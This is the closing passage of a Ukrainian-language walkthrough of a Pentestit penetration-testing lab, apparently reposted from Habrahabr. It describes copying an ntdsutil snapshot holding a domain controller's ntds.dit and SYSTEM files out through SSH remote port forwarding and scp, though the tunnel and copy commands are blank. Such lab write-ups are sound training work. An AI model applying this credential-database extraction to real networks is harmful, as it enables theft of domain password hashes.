Останній токен узятий!

Звернемо увагу на файл ntdsutil_snapshot.zip — скопіювавши його на локальний комп'ютер можна отримати резервну копію файлів ntds.dit і SYSTEM ще одним способом. Включимо локальний SSH сервіс, і зробимо його доступним на контейнері:

service ssh start

Потім зробимо remote port forwarding через SSH:



І скопіюємо файл через scp:



Розпакувавши його, отримаємо ті ж ntds.dit і SYSTEM для win-dc0:



Лабораторія пройдена!

Весь матеріал представлено виключно в освітніх цілях, тому ваші коментарі по проходженню лабораторії вітаються — нехай якомога більше людей дізнаються про різні способи розв'язання тієї чи іншої задачі.

Тим, хто ще не встиг пройти лабораторію і випробувати радість взяття кожної машини в мережі, бажаю удачі.

Хочу подякувати Pentestit за прекрасну лабораторію — було цікаво, і подякувати читача за те, що дійшли до цього моменту.

Спасибі! Чекаємо на 11-ту лабораторію в травні 2017-го року.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.